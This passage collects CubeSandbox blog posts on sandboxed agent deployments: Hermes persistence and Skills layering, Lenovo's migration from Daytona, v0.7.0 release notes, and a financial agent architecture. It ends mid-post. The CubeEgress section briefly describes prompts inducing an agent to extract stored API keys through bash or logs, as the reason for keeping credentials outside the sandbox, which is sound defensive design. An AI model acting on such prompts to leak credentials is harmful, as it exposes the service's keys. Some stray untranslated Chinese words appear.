`metadata["host-mount"]`: Hermes home mapped to `/root/.hermes` (read-write); project workspace mapped to `/workspace` (read-write); public Skills mapped to `/opt/hermes-common-skills` (read-only). 6. After the new sandbox starts, the panel first initializes the public Skills overlay, then starts Hermes Studio. The repository `skills/` is deployed to the Cubelet public directory via rsync; symlinks are created inside the sandbox for public Skills that don't yet exist, with same-named private Skills taking priority. 7. The panel starts hermes-web-ui, reads the Web UI token, and composes the accessible Hermes Studio URL. The template exposes two key ports: 9000 (Web UI) and 49983 (Cube command service). 8. The panel checks Hermes Web UI and `49983/health`. On health check failure, the sandbox is not automatically destroyed, so the admin can continue connecting for diagnosis, or perform pause, resume, and stop. 9. When creating a new sandbox with the same home-id and workspace-id later, the same Cubelet directories are re-mounted, and Hermes config, conversations, private Skills, and workspace files are preserved across instances. Public Skill content updates are immediately visible to already-mounted sandboxes; new Skill directories require a "refresh public Skills" to create new symlinks. 10. When starting Hermes Studio, the panel merges default environment variables with creation-time overrides; page display and error output are redacted by KEY, TOKEN, SECRET, PASSWORD, API\_KEY rules to avoid exposing sensitive values in the management interface. The project is currently in internal beta: dozens of Hermes sandboxes on a single CubeSandbox node, running for about a month. Several engineering issues arose during this period, all of which have been diagnosed and resolved, as described below. ## 2. Persistence Design: Pitfalls When Switching to host-mount After sandbox rebuild, Hermes Agent's runtime state needs to be recoverable. The most critical things to persist are `/root/.hermes` (config, runtime files, conversations, and private Skills) and `/workspace` (project files and task workspace). Following the conventional E2B-style SDK usage, our team initially tried mounting persistent directories via `Sandbox.create()`'s `volume_mounts` parameter, but the Cube version at the time (pre-v0.6.0) didn't yet support `volume_mounts`. On official recommendation, we switched to the host-mount approach. Our verification path was progressively narrowed: first confirm that sandbox creation requests support passing through metadata; then verify that `metadata["host-mount"]` can carry multiple mount descriptors (hostPath, mountPath, readOnly); then do a minimal experiment — the first sandbox writes a marker file to the mounted `/root/.hermes`, and the second new sandbox mounts the same host directory and successfully reads it, confirming the mount type is virtiofs read-write; finally expand the minimal approach to three mount types: persistent home, persistent workspace, and read-only shared public Skills. Seven pitfalls were encountered in this process, with the first four about mounting itself: 1. **hostPath is not the path on the machine running the management panel.** It must point to the Cubelet node that actually hosts the sandbox. Mistaking it for the path on the host running the FastAPI panel process will cause the mount to not find the expected data. 2. **The target directory must pre-exist.** Even with correct mount descriptors, if the target directory is missing on the Cubelet node, CubeMaster will error during creation. Therefore, the current flow first creates home, workspace, and public Skills directories via SSH before calling the Cube SDK. 3. **An empty directory will shadow the image's `/root/.hermes`.** Mounting is not directory merging — an empty host directory will mask the image's pre-installed `config.yaml`, Agent runtime files, and Skills. This is the most critical runtime issue. 4. **You must seed first, then formally mount.** Early on, a temporary seed sandbox was used to copy `/root/.hermes` from the image to the host directory; currently, a default home is固化 on the Cubelet, using `config.yaml` existence to determine whether initialization is needed, avoiding repeated overwriting of user conversations and private config. 5. **`/root/.hermes` and `/workspace` should not share a directory.** Hermes home belongs to Agent runtime state and user config, while workspace belongs to project files. Separating them reduces coupling between conversations, Skills, and business code. 6. **Public Skills should not be directly copied to each home.** Copying one by one causes replica bloat, update desync, and may overwrite private modifications — this directly leads to the layering design in the next section. 7. **Old sandboxes cannot dynamically add new mounts.** Public Skills was a third mount type added later. Old sandboxes created without this mount cannot补上 it with just a "refresh Skills"; they must be rebuilt with the mount added to the creation parameters. ## 3. Skills Layering: Read-Only Public Directory + Symlink Overlay This design must simultaneously satisfy two contradictory requirements: public Skills must be usable and updatable across multiple Cube sandboxes; and individual or project-customized Skills already in each Hermes home must not be destroyed. Direct copying encounters four problems: each home retains a copy, requiring one-by-one sync when public Skills update; difficulty distinguishing public versions from user-modified private versions; sync easily overwrites private modifications; deleting or upgrading public Skills may误删 private files in homes. The final data flow is: The public directory maintains a single copy, auditable via Git with version management; mounted read-only into sandboxes, so a single Agent or user cannot误改 global capabilities. Since Hermes Agent loads Skills from `/root/.hermes/skills` by default, the panel creates symlinks in that directory pointing to `/opt/hermes-common-skills/`. | Content | Cubelet Directory | Sandbox Path | Permission | |---|---|---|---| | Hermes home | `/data/shared/hermes-homes/` | `/root/.hermes` | read-write | | Workspace | `/data/shared/hermes-workspaces/` | `/workspace` | read-write | | Public Skills | `/data/shared/hermes-common-skills` | `/opt/hermes-common-skills` | read-only | The override rule is simple: if `/root/.hermes/skills/` already exists, it's treated as a private Skill, and no same-named public symlink is created — private version takes priority. The reason for not directly mounting the public directory to `/root/.hermes/skills` is that the mount would shadow private Skills already in home. Shared host-mount lets already-mounted sandboxes directly see public Skill content updates; if a new Skill directory is added, a refresh is still needed to create new symlinks for that directory. ## 4. Network Rules and Image Building ### 4.1 LAN Model Access Failure: Outbound Rules Need Separate Allowlisting During operation, we encountered a problem: Hermes Studio and the Agent both started normally in the Cube sandbox, and the Web UI opened — but as soon as a model call was made, a Connection error occurred. Investigation revealed: when the model service is deployed at LAN addresses like `10.10.x.x`, `--allow-internet-access` only governs public internet access, not internal network service access — these are two completely different outbound rules. We first did a TCP check in the sandbox, confirming it was a network-layer issue rather than application-layer: Then we recreated the Template, explicitly adding IPv4 outbound CIDR: `--allow-out-cidr 0.0.0.0/0` is the real switch for allowing the sandbox to make outbound IPv4 access, covering the current LAN model service address. After allowlisting, the TCP connection from sandbox to model service was restored, and a `/v1/models` request returned 401 Invalid token — the network path was now open, the previous Connection error was gone, only the test request lacked the model API token. ### 4.2 AppleDouble Files: Cleaning macOS Metadata Before Building Cube Images Hermes Agent source code needs to enter the Cube Template's corresponding image. Our build chain is: macOS dev machine → package source → upload to Cube build machine → Docker build template image → Cube sandbox run Agent. Initially, when packaging from macOS, `._*` AppleDouble metadata files were mixed into the source. They don't block image building or sandbox startup, but Hermes Agent may read them as UTF-8 text when scanning source code, triggering decoding errors. The final fix was not in sandbox runtime logic, but in the Cube image build context preparation stage: `COPYFILE_DISABLE=1` minimizes macOS generating AppleDouble files; two `--exclude` flags ensure that even if these files already exist in the directory, they won't be packaged into the upload. After image building, you can verify in the sandbox, expecting 0 results. ## 5. TAP Device EBUSY Issue During Pause/Resume in v0.5.1 We configured 15-minute auto-pause for Hermes sandboxes to save resources. After some instances entered paused state, the control plane restarted CubeMaster, Cubelet, and network-agent. But when subsequently accessing these instances, resume failed — CubeMaster reported "Device or resource busy." Initial diagnosis: the virtual NIC recorded in the pause snapshot didn't properly coordinate with the persistent TAP NIC state retained or initialized by network-agent after the control plane restart. During resume, the system repeatedly configured the same TAP device, ultimately triggering EBUSY. Newly created and continuously running sandboxes were unaffected; instances that were paused and then experienced a control plane restart might be inaccessible. We have submitted Issue [#953](https://github.com/TencentCloud/CubeSandbox/issues/953) to the CubeSandbox team, and official feedback indicates a fix is in progress. The interim workaround is: preserve the home and workspace persistent directories, destroy and rebuild the unrecoverable sandbox, then rebind the alias. This way user workspace and Hermes config are not lost, but the VM ephemeral layer is reset. ## 6. Key Conclusions * **Persistence boundaries must be validated before template runtime testing**: `/root/.hermes` and `/workspace` should be separated to avoid coupling runtime state, user config, and business code. * **Empty host directories shadow the image's `/root/.hermes`**; first-used homes must be initialized (seeded) first. * **hostPath points to the Cubelet node hosting the sandbox**, not the management panel's host; target directories must exist before sandbox creation. * **Public Skills use a "read-only shared directory + private directory symlink" overlay design**, achieving centralized maintenance with private version priority. * **Enabling internet access does not equal LAN model service access**; templates must explicitly configure outbound CIDR and verify with TCP/HTTP checks in the sandbox. * **When preparing image build contexts on macOS**, exclude AppleDouble (`._*`) and `.DS_Store` to prevent Agent source scanning errors. * **Control plane state should be based on Cube's real-time query results**, avoiding drift between panel-maintained state and actual sandbox state. ## Q\&A Excerpts **Q: Why does the management panel use Cube query results instead of maintaining its own state?** A: To ensure a single source of truth. If the panel maintains sandbox state itself, it will easily drift from Cube's real state over time. The panel only displays Cube's real-time query results, reducing state inconsistency and misoperation. **Q: If you redesigned from scratch, what would you change most?** A: We would clarify "persistence state boundaries" from day one, rather than first validating that the Hermes Studio template runs and then bolting on host-mount persistence. Persistence design directly affects directory initialization, Skills layering, upgrade strategy, and failure recovery — the earlier you validate, the less rework later. **Q: What's the one experience you most want to share with other Cube users?** A: From day one, do a complete rebuild test: create a brand new sandbox, confirm the Agent can get the correct state, access needed networks, and not leak or overwrite data that shouldn't be shared. Only when "still correct after rebuild" can you say the persistence boundaries, network rules, and permission design truly hold. *Thanks to Chen Jinbo and the AI team at Shanghai Yangpu New Energy Technology for their contributions to this content.* --- --- url: https://cubesandbox.com/blog/posts/2026-08-20-lenovo-cloud-agent.md description: >- Replacing a cloud Agent product's sandbox from Daytona to Cube looks like just swapping to a faster tool. But in practice, the migration changes three things: the sandbox deployment model (SaaS to self-hosted), the sandbox startup model (per-session rebuild to snapshot restore), and more fundamentally — the sandbox's role in the product architecture (from 'tool execution container' to 'independent runtime environment'). --- # From Daytona to CubeSandbox: Lenovo's Cloud Agent Sandbox Migration and Evolution Interviewee｜Lenovo AI R\&D Engineer · Li Jian **Editor's note:** Replacing a cloud Agent product's sandbox from Daytona to Cube looks like just swapping to a faster tool. But in practice, the migration changes three things: the sandbox deployment model (SaaS → self-hosted), the sandbox startup model (per-session rebuild → snapshot restore), and more fundamentally — the sandbox's role in the product architecture (from "tool execution container" to "independent runtime environment"). Lenovo Research Institute AI Lab's cloud Agent product went through two phases: 1.0 treated the sandbox as a "start one per session, dispose when done" isolated execution environment; 2.0 put the daemon and Agent entirely inside the sandbox, making the sandbox a standalone node that can be backed up and rolled back. Between the two phases, the sandbox usage model underwent a fundamental shift. This article documents the complete migration from Daytona to Cube for Lenovo's cloud Agent, as a reference for other migrators. ## 1. Migration Background and Selection Lenovo Research Institute AI Lab's cloud Agent is a general-purpose product. Users interact with the Agent through conversations, and the Agent performs actions like code execution, file operations, and browser automation during task execution. For data and operational safety, these actions are executed in sandboxes — a new sandbox is launched for each session. Lenovo Research Institute AI Lab initially used Daytona sandboxes. But as features expanded, more and more pre-installed software was added to the sandbox (Playwright, noVNC, etc.), and startup time eventually exceeded 10 seconds. The engineering team made a series of optimizations to bring it down to about 5 seconds, but at the cost of significantly increased code complexity. And 5 seconds was still not fast enough — especially with planned batch concurrency scenarios where this latency would be amplified into a serious bottleneck. Additionally, the Daytona SaaS version had network restrictions requiring enterprise VPN access. Slow startup, network restrictions, and SaaS costs — these three issues combined prompted the AI Lab team to find alternatives. Two core concerns drove the selection: first, domestic technology — they wanted a fully domestic tech stack; second, startup and concurrency performance. Lenovo Research Institute AI Lab then ran a series of performance comparisons, verifying that with the same configuration, Cube's sandbox startup could be compressed from over 10 seconds to under 100 milliseconds. Cost savings from eliminating SaaS fees, and local deployment eliminating the VPN access requirement. Thus, the AI Lab officially began the migration from Daytona to Cube. ## 2. Migration Process: Three Steps and the Adapter Layer Strategy The real migration effort wasn't on Cube's side, but in "decoupling from Daytona" — Daytona and E2B (which Cube is compatible with) have incompatible APIs, so simple interface substitution wasn't possible. Lenovo Research Institute AI Lab's overall migration proceeded in three steps: **Step 1: Decouple hard bindings.** While interface isolation was considered during development, actual code still had不少 coupling with Daytona — sandbox creation parameters, lifecycle management, file operations all carried Daytona-specific conventions. This step involved finding all directly coupled code and abstracting it into neutral interface definitions. **Step 2: Build an adapter layer.** During the transition, the AI Lab built an SDK-level adapter layer supporting both Daytona and E2B interfaces. Since Cube is E2B-compatible, the adapter layer had the integration point pre-reserved. In implementation, the adapter layer defined a unified Sandbox Provider base class, with Daytona and E2B interfaces each inheriting from it — effectively implementing two sets of interface calls. One interface was Daytona, extracted from existing code with original call logic preserved; the other implemented the E2B interface. Since the two are largely functionally aligned, they share the same set of abstract methods. Upper-layer business code calls the unified Provider interface without感知 the underlying differences. At runtime, which interface is used is specified by configuration — the底层 can be Daytona or Cube (Cube is E2B-compatible). When adding more sandbox services in the future, just add a new Provider with zero impact on business code. ![Adapter layer architecture, Sandbox Provider inheritance](./assets/2026-08-20-lenovo-cloud-agent/01-adapter-architecture.jpg) *Figure 1: Adapter layer architecture, Sandbox Provider inheritance* **Step 3: Connect the adapter layer to Cube.** With the adapter layer in place, the final step was connecting the E2B-compatible interface to Cube. Since Cube is itself E2B-compatible, this step was relatively manageable. ![Complete migration flow](./assets/2026-08-20-lenovo-cloud-agent/02-migration-flow.jpg) *Figure 2: Complete migration flow* ## 3. Practices and Pitfalls During Migration After migrating to Cube, the Playwright, noVNC, and other pre-installed software from the original Daytona sandbox needed to be remade into templates. This process went unexpectedly smoothly — with AI assistance, first generating a Docker image, then converting to a Cube template, was almost a single command. Compared to template creation via Daytona's SaaS process, Cube's local deployment made iteration significantly faster, and debugging was convenient. You could boldly try various pre-installed combinations: putting different types of Agents in templates, adding various tools and software, with very low trial-and-error cost. Li Jian said that after the 1.0 version launched, the most visible benefit was immediate: startup speed dropped from over 10 seconds to under 100 milliseconds, with users barely感知 any wait; SaaS fees were eliminated, and the VPN issue disappeared. The hidden benefit was in the debugging experience — after local deployment, you could directly inspect sandbox status, logs, and resource usage, making template iteration a rapid trial-and-error process. The only pitfall was the Volume feature. During the Daytona era, the team used Volume to map S3 buckets for inter-sandbox file sharing. After migrating to Cube, Cube itself had mounting capability, but early versions had a serious limitation: different sandboxes couldn't共同 modify the same mounted directory, or sandbox hibernation would cause snapshot corruption. This significantly impacted Lenovo Research Institute AI Lab's business scenario — in 2.0 mode, multiple sandboxes need to share the same data, and shared writes are a hard requirement. Cube improved this mechanism in the subsequently released v0.6.0, and multi-sandbox shared mounts now work properly. ## 4. From 1.0 to 2.0: The Transformation of the Sandbox's Role After 1.0 stabilized, the product evolved to 2.0. From 1.0 to 2.0 is not a simple feature iteration but a fundamental change in sandbox usage model. In the 1.0 phase, the sandbox was a "tool execution container" — a new sandbox per session, disposed when done, stateless, short-lived; in the 2.0 phase, the sandbox became an "independent runtime environment." The 2.0 architecture originated from a practical constraint. The original design was to install a daemon on the user's local computer, with the server controlling the local AI Agent through it. But this design had two limitations: some users needed a cleaner local environment and didn't want to install Agent dependencies locally; some users didn't have computers suitable for deploying Agents at all. The solution was to put the daemon and Agent entirely inside a Cube sandbox — the server interacts with the Cube-hosting server through another daemon, and the sandbox runs the daemon plus Agent, forming a clean, independent environment. Even without a suitable computer, the system can run through the sandbox. The real value of this transformation is that the sandbox is no longer a disposable execution container, but a standalone node that can run long-term, be backed up, and be rolled back. A typical 2.0 scenario: at a certain point in a task, the user may want to try different subsequent directions — take a snapshot, and if the path doesn't work, roll back and start over. This "backup-rollback" capability was useless in the 1.0 disposable model, but in 2.0 it became a core capability — transforming the sandbox from "run and discard" to "an experimental ground for repeated exploration." But 2.0 mode also brought a new problem. Multiple sandboxes run long-term on servers, each with ongoing tasks, and servers occasionally need restarts — after restart, sandboxes without snapshots simply disappear. Li Jian mentioned this is the biggest puzzle Lenovo Research Institute AI Lab has encountered with the current Cube version, and they hope for a focused solution to the problem of sandboxes disappearing after server restarts. This is indeed a current Cube architectural constraint. Sandboxes are based on MicroVM plus snapshot restore, with runtime state in memory — restart clears it. Filesystem data can be persisted via Volume, but in-memory process state and conversation context currently can only be saved through manual or scheduled snapshots. The good news is that Cube plans to introduce **cross-machine recovery in v0.7.0 — pausing the sandbox before shutdown, migrating it to another machine for recovery, effectively turning "restart means loss" into "migrate before restart."** Enterprises or teams with similar needs are welcome to follow Cube's upcoming v0.7.0 release. **Before the feature lands, 2.0 scenarios still require the business side to implement a scheduled snapshot调度 layer as a fallback.** ## 5. Advice for Followers When asked for advice to teams preparing to migrate from Daytona, Li Jian said: "It's not as troublesome as imagined. Our migration went quite smoothly, and functionally we can basically cover everything Daytona offered." From this migration experience, a few points are worth preparing in advance, as reference for peers evaluating migration: * **Interface decoupling is the biggest workload.** Daytona and Cube/E2B APIs are incompatible. Before migration, it's best to梳理 all sandbox-interacting code and abstract directly coupled parts into neutral interfaces. * **The key to migration is building an adapter layer, not direct replacement.** Supporting both interface sets during the transition maintains business continuity and reduces risk. * **Template creation cost is low — be bold.** After Cube local deployment, with AI assistance, image creation is almost a single command. Don't be intimidated by the prospect of "rebuilding the pre-installed environment." * **Plan Volume and snapshot strategies in advance.** If your scenario involves long-running sandboxes (similar to 2.0 mode), think through persistence strategy before migration — what data needs Volume persistence, which sandboxes need scheduled snapshots, how to recover after restart. These issues don't surface in 1.0 mode but become core risks in 2.0. ## Conclusion The most noteworthy aspect of this migration is not the "startup speed from 10 seconds to 100 milliseconds" number — what's more worth recording is how switching sandbox platforms ultimately drove the product architecture's evolution. In the 1.0 phase, the sandbox was a "start one per session" isolated execution container. After migrating to Cube, because of fast startup, flexible deployment, and low template creation cost, the team naturally began exploring "can we put more things in the sandbox" — leading to the 2.0 "daemon + Agent entirely in sandbox" architecture, transforming the sandbox from "tool execution container" to "independent runtime environment." From "disposable" to "long-running," the sandbox lifecycle management complexity rises a step. This is not just a problem for Cube to solve — it's one that all teams wanting to use sandboxes as runtime environments need to face together. *Thanks to Lenovo AI Engineer Li Jian for accepting the Cube project team's interview and contributing to this content.* --- --- url: https://cubesandbox.com/blog/posts/2026-08-28-cubesandbox-v0.7.0-release.md description: >- In v0.6.0, we brought CubeSandbox into Kubernetes and delivered the E2B-compatible Volume framework. v0.7.0 addresses the two things production users care about most: letting sandboxes flow across machines, and letting upgrades no longer break existing assets. --- # CubeSandbox v0.7.0: Cross-Machine Sandbox Migration and Smooth Cluster Evolution In v0.6.0, we brought CubeSandbox into Kubernetes and delivered the E2B-compatible Volume framework. The control plane runs as standard workloads, compute nodes are managed as schedulable resources within the cluster, and storage choice is back in users' hands. But after teams actually get clusters running, they hit one biggest problem: sandboxes can only stay on the machine they started on. Paused sandboxes can't be resumed on a different machine, and snapshots only work on the original node; worse, when components are upgraded, previously built templates and snapshots become incompatible and must be rebuilt. These two issues are what production users care about most. So in v0.7.0, we formally put these needs on the development agenda: let sandboxes flow across machines, and let upgrades no longer disrupt existing assets. ## 1. Cross-Machine Pause/Resume Previously, sandbox `pause/resume` and snapshot-based creation were bound to a single host — where you paused, you could only resume. v0.7.0 **uses S3 backend storage to persist sandbox memory and filesystem state to shared object storage, enabling pause on node A and resume on node B, as well as launching new sandboxes from the same snapshot on any synced node.** For example: a compute node needs to go offline for maintenance, with a batch of paused sandboxes still on it. Previously, you could only wait for them to resume locally, or discard them; now you can migrate those sandboxes to other nodes for resumption — node draining no longer requires sacrificing sandboxes. For Agent training scenarios requiring massive parallelism and frequent pause/resume, the scheduler can place sandboxes on the least loaded machines based on real-time load. This capability is currently in preview, with built-in MinIO as the default S3 backend. Users can also specify their own object storage. ## 2. Multi-Version Component Coexistence Cross-machine flow introduces a connected issue: templates and snapshots built on different nodes at different times may depend on different runtime component versions; once components are upgraded, old templates and snapshots become incompatible and must be rebuilt. **v0.7.0 lets compute nodes retain historical component versions, so templates and snapshots no longer become invalid due to component upgrades, and upgrades don't interrupt existing instances' pause/resume.** Before this, a production cluster wanting to upgrade for a bug fix might need to invalidate all existing templates and snapshots, requiring business downtime for rebuilding. For clusters requiring long-term iteration and continuous upgrades, this v0.7.0 feature represents an important shift from "rebuild everything on each upgrade" to "decouple upgrades from existing assets." ## 3. Network Subsystem Refactor: Accelerating Sandbox Network Creation Network creation has always been a critical path in the sandbox cold-start chain, especially during batch launches. **v0.7.0 merges the previously standalone NetworkAgent into Cubelet, reducing RPC calls during sandbox creation; optimizes the eBPF network policy dispatch path, significantly reducing creation latency for sandboxes with network rules; and improves Tap device allocation stability under high-concurrency creation.** When launching a hundred sandboxes simultaneously, each sandbox saves two RPC calls and one RCU wait — these overheads scale proportionally with batch size, reducing cold-start time. After TAP lifecycle refactoring, network anomalies during node restarts and sandbox resume also occur less frequently. ## 4. Control Plane and Operations Architecture Separation **v0.7.0 migrates node management and other operational capabilities from CubeMaster to CubeOps.** CubeOps now carries complete node management, defaults to dual-replica deployment, and replaces cubemastercli's node subcommand with cubeopscli. Web UI provides node isolation/unisolation and node operation record viewing. When operations discovers a disk anomaly on a node, they can isolate it in the Web UI — existing sandboxes continue running, while new sandboxes are scheduled elsewhere. This optimization makes component responsibility boundaries clearer: scheduling belongs to CubeMaster, operations belongs to CubeOps. ## Other Notable Features Beyond the four core features, v0.7.0 implements a batch of feature enhancements and bug fixes. * **Three-language SDK parity.** Volume CRUD and volumeMounts were previously Python-only; v0.7.0 adds Go and Node SDK support, achieving three-language parity. Template alias coverage was previously incomplete — this version fills in both build-time alias and existing template alias management phases, covering Go / Node / Python. Additionally, Python SDK supports `distribution_scope` for specifying which nodes or regions sandboxes are placed on; Node SDK supports runtime NEVER\_TIMEOUT; Go SDK adds user-identity-isolated file views with `Files.ForUser`. * **Storage block devices and template source extensions.** New SPDK-based CubeS3lvol COW: a remote copy-on-write block device backed by S3 object storage, with local write allocation, async S3 persistence, exported to host via `NVMe-oF/TCP` Loopback, supporting snapshot/clone and cross-node import/export, with local WAL + journal for crash consistency. v0.7.0 includes built-in MinIO as the default S3 volume backend, ready out of the box; private HTTP image registries can also serve as template sources directly, without needing HTTPS for internal registries. * **Dynamic network policies and configurable forwarding.** Sandboxes support runtime network policy updates without rebuilds; CubeEgress L7 forwarding rules support custom ports, CubeProxy supports custom management ports with new plaintext gRPC ingress, CubeVS introduces same-subnet MAC address learning to avoid black holes in non-hairpin communication. passfd switches to bare-pipe vsock direct connection, improving business process IO efficiency. Kernel and guest image artifacts are now published independently, pulling from fixed kernel-release-\* / guest-image-\* at release time, without recompiling each time. * **High-frequency issue and stability bug fixes.** v0.7.0 centrally addresses issues frequently seen in production: pause/resume state inconsistency, zombie processes and deletion anomalies (PR [#978](https://github.com/TencentCloud/CubeSandbox/pull/978) / [#985](https://github.com/TencentCloud/CubeSandbox/pull/985) / [#1137](https://github.com/TencentCloud/CubeSandbox/pull/1137) / [#1274](https://github.com/TencentCloud/CubeSandbox/pull/1274)), snapshot performance issues (PR [#1300](https://github.com/TencentCloud/CubeSandbox/pull/1300) / [#1504](https://github.com/TencentCloud/CubeSandbox/pull/1504)), template cache data races during concurrent sandbox creation (PR [#1366](https://github.com/TencentCloud/CubeSandbox/pull/1366)), and TAP device recovery anomalies during node restarts (PR [#930](https://github.com/TencentCloud/CubeSandbox/pull/930) / [#987](https://github.com/TencentCloud/CubeSandbox/pull/987) / [#1207](https://github.com/TencentCloud/CubeSandbox/pull/1207)). ## Coming Soon... After cross-machine capabilities land, Cube Sandbox will continue digging deeper along the "cloud-native + high availability" direction: * **Sandbox anomaly recovery**: Automatically detect and recover from VM crashes, shim process hangs, network partitions, with configurable recovery strategies (restart / rollback to snapshot / report error to caller); * **Scheduling and operations enhancements**: Resource-aware scheduling, affinity/anti-affinity rules, priority classes, and online resource balancing with sandbox-migrating node draining. In nearer iterations (v0.7.1 or 0.8.0), two items are in progress: 1) **Full-path high availability for the control chain**: template management separated from CubeMaster; CLM (cube-lifecycle-manager) supports multi-replica deployment; 2) **Sandbox anomaly recovery — sandboxes can be recovered across nodes on node failure.** We welcome PRs and Issues to Cube, and participation in Roadmap design discussions to drive Cube Sandbox's evolution together. Full Changelog: https://github.com/TencentCloud/CubeSandbox/blob/master/docs/changelog/v0.7.0.md Cube Sandbox open-source repository: https://github.com/TencentCloud/CubeSandbox --- --- url: https://cubesandbox.com/blog/posts/2026-08-28-horizon-insights.md description: >- A single financial research Agent run can last tens of seconds to several minutes, reading research methodologies and data definitions, calling data APIs, running scripts, generating intermediate files, and having the model synthesize results. The sandbox carrying it can't just 'run a snippet of code' — it must contain the complete Agent loop in an isolated environment. This article introduces three core use cases of CubeSandbox in Hongze's 4as Agent. --- # Sandboxing Financial Research Agents: Hongze Info's Architecture and Selection Practice with CubeSandbox By｜CTO, Hongze Midao · Wang Zhengkai **Editor's note:** A single financial research Agent run can last tens of seconds to several minutes, reading research methodologies and data definitions, calling data APIs, running Python or Node scripts, generating intermediate files, and having the model synthesize results. The actions, files, and external services encountered during execution cannot be fully enumerated at publish time. This means the sandbox carrying it can't just "run a snippet of code" — it must contain the complete Agent loop in an isolated environment. This article introduces three core use cases of CubeSandbox in Hongze's 4as Agent: the complete Pi loop running inside the Sandbox, DAS shared resources distributed via Host Mount, and model/tool credentials managed at the egress side via CubeEgress. It then covers the practical experience with localized deployment, API compatibility, performance, and production operations. ## 1. Business Context: The Controlled Execution Environment for Research Agents Hongze Info is an AI innovation team under Hongze Research, serving various financial investment and research institutions. The team's 4as (All (Domain) Agents as a Service) is a financial research Agent product that organizes domain knowledge, research methodologies, data tools, and persistent state into deployable research Agents. 4as has been deployed in multiple commercial projects, and a Cloud version for more institutional users will launch soon. Research Agents in 4as need to perform data reading, data processing, code execution, file generation, external tool calls, and multi-round model interactions. A single task typically lasts tens of seconds to several minutes, touching user workspaces and external services, with specific actions that cannot be fully enumerated at publish time. Therefore, the system needs to handle the following constraints: * Each Agent run has independent process and file boundaries; * Domain resources are mounted by user authorization and version; * User private files are stored separately from platform shared resources; * Sandboxes can be reclaimed, while business state and research results persist; * External model and data services are accessible, but long-term credentials never enter the guest environment; * The same Agent runtime can run in both central and customer-side deployments. CubeSandbox provides the unified sandbox execution foundation for 4as. It creates an independent execution environment for each Agent run, handling runtime templates, file and command execution, domain resource mounting, controlled egress, and Sandbox lifecycle management. Additionally, BWA (Bounded Workspace Agent) is 4as's controlled runtime, organizing the permissions, state, workspace, and interaction protocols needed by the product on top of CubeSandbox's base capabilities. ## 2. Technical Architecture: Pi Loop Running Inside CubeSandbox 4as's core Agent execution is based on the Pi coding agent SDK open-sourced by Mario Zechner. The team calls the complete model-tool main loop the "Pi loop," and adds scope, Workspace, task lifecycle, event protocol, and Sandbox adapter on top of the Pi SDK. In the production path, the Pi SDK and complete main loop both run inside the CubeSandbox guest. One loop includes model round-trips driven by `session.prompt()`, tool selection and execution, bash and file operations, MCP tool calls, event streams, and session state progression. CubeSandbox provides the same isolated process, file, and network environment for all these actions. The current execution chain consists of four layers: Host provides the user-facing product interface and backend APIs, completing identity verification before forwarding requests and scope to BWA Runtime. BWA verifies tenant, user, DAS, and thread, creates or reuses CubeSandbox instances via E2B-compatible API, and manages run state, cancellation, timeout, workspace paths, and persistent checkpoints. CubeSandbox carries the execution plane, with Pi runner entering the guest via Sandbox template, handling the specific model and tool loop. ![4as Research Agent execution chain](./assets/2026-08-28-horizon-insights/01-agent-execution-flow.jpg) *Figure 1: 4as Research Agent execution chain* Tokens, tool events, state, and file changes produced by the Guest are first returned to BWA via an internal execution protocol, which BWA then converts to its own stable SSE events for the frontend. The frontend only depends on the BWA contract and is unaware of CubeSandbox's creation API, dynamic hostname, or internal runner protocol — the three layers can evolve independently. The core of this separation is decoupling the execution lifecycle from the business lifecycle: CubeSandbox carries the reclaimable compute process, while BWA and its persistent storage retain user workspaces, research outputs, and thread state. After sandbox destruction, business state can still be recovered in the next run. ## 3. Host Mount: Distributing Domain Resources by Version DAS (Domain Analyst Service) is the domain analyst service in 4as. Its shared definition includes domain knowledge, research methodologies, data references, assets, deterministic computation code, and Function definitions. The difference between DAS and a regular Skill: a Skill describes the execution method for a type of action, while DAS describes a continuously running domain analyst — a distributable domain definition + managed state + state transition mechanism. The shared definition of DAS needs to be distributed to each execution environment. If every run uses the file API to transfer large domain resources into the sandbox, the overhead is high. We use CubeSandbox's Host Mount to solve this. Host Mount is responsible for distributing the shared, versioned, read-only portions. The distribution chain is roughly: ![DAS distribution chain](./assets/2026-08-28-horizon-insights/02-das-distribution.jpg) *Figure 2: DAS distribution chain* Several key constraints of Host Mount form the foundation of the distribution mechanism: each revision corresponds to an immutable file tree, BWA only generates mount entries for DAS authorized for the current run, readOnly is fixed to true, host paths are located within a restricted shared directory, and path whitelist and read-only attributes together constrain the mount scope. This means Pi can consume these resources like local files, but the running Agent cannot modify published versions in place — domain capability upgrades can only be done through FCP publishing a new revision. The mutable parts of DAS take a different path: user private workspaces, instance current state, and state transition results are persisted by the runtime, not written back to the shared mount directory. Runtime state and shared definitions thus form two types of independent ownership — the former belongs to specific instances, the latter to distributable versions. This distribution approach solves several practical problems: * Large domain resources don't need to be repeatedly transferred via file API for each run; * Multiple Sandboxes can consume the same host cache, with file content fixed by revision; * Authorization results are directly reflected in the mount list — unmounted domain resources are invisible to the guest; * Shared definitions remain read-only, with Agent outputs going to private workspaces; * Central and customer-side environments use the same revision and directory semantics. Host Mount thus becomes part of the DAS distribution chain. It connects 4as content and the version control plane FCP's publishing process with actual execution inside CubeSandbox, while maintaining boundaries between shared definitions, instance state, and user files. ## 4. CubeEgress: Managing Credentials at the Egress Side Pi inside the Sandbox needs to access model services, MCP services, and some data APIs. Writing long-term API keys into the guest environment expands the exposure surface: processes, scripts, debug output, and misoperations can all touch credentials. For an Agent that autonomously calls tools via a model, once a long-term key enters the filesystem or environment variables, it's within the Agent's accessible execution boundary; users or other upstream inputs may directly request to read it, or may induce the Agent via prompt to use bash, file tools, logs, or task results to extract credentials. ![CubeEgress credential injection chain](./assets/2026-08-28-horizon-insights/03-cubeegress-credential.jpg) *Figure 3: CubeEgress credential injection chain* We use CubeEgress to manage credentials at the egress side. When creating a Sandbox, BWA only passes the controlled configuration needed by Egress — long-term credentials stay on the egress side. When a request leaves the Sandbox, CubeEgress matches the target service policy and injects the corresponding authentication information. Code in the Guest calls services using normal HTTP or SDK patterns, with no long-term keys in the Workspace, prompt, or process environment. Beyond credential isolation, this design has several direct values: credentials remain outside the guest, managed centrally by the platform for rotation or revocation, with access targets restricted; Sandbox templates don't need rebuilding when keys change; model calls, MCP tools, and telemetry egress can use a consistent network boundary. For financial scenarios, these are all essential requirements — credential rotation cycles, access target constraints, and audit boundaries all need platform-level unified control, not delegated to each Agent instance. Host Mount's read-only distribution and CubeEgress's egress injection together form the two data-plane pillars of 4as sandboxization: versioned resources visible on demand, long-term credentials injected on demand. ## 5. Considerations in Selecting CubeSandbox Our selection of CubeSandbox primarily considered deployment boundaries, API compatibility, and runtime capabilities. The core 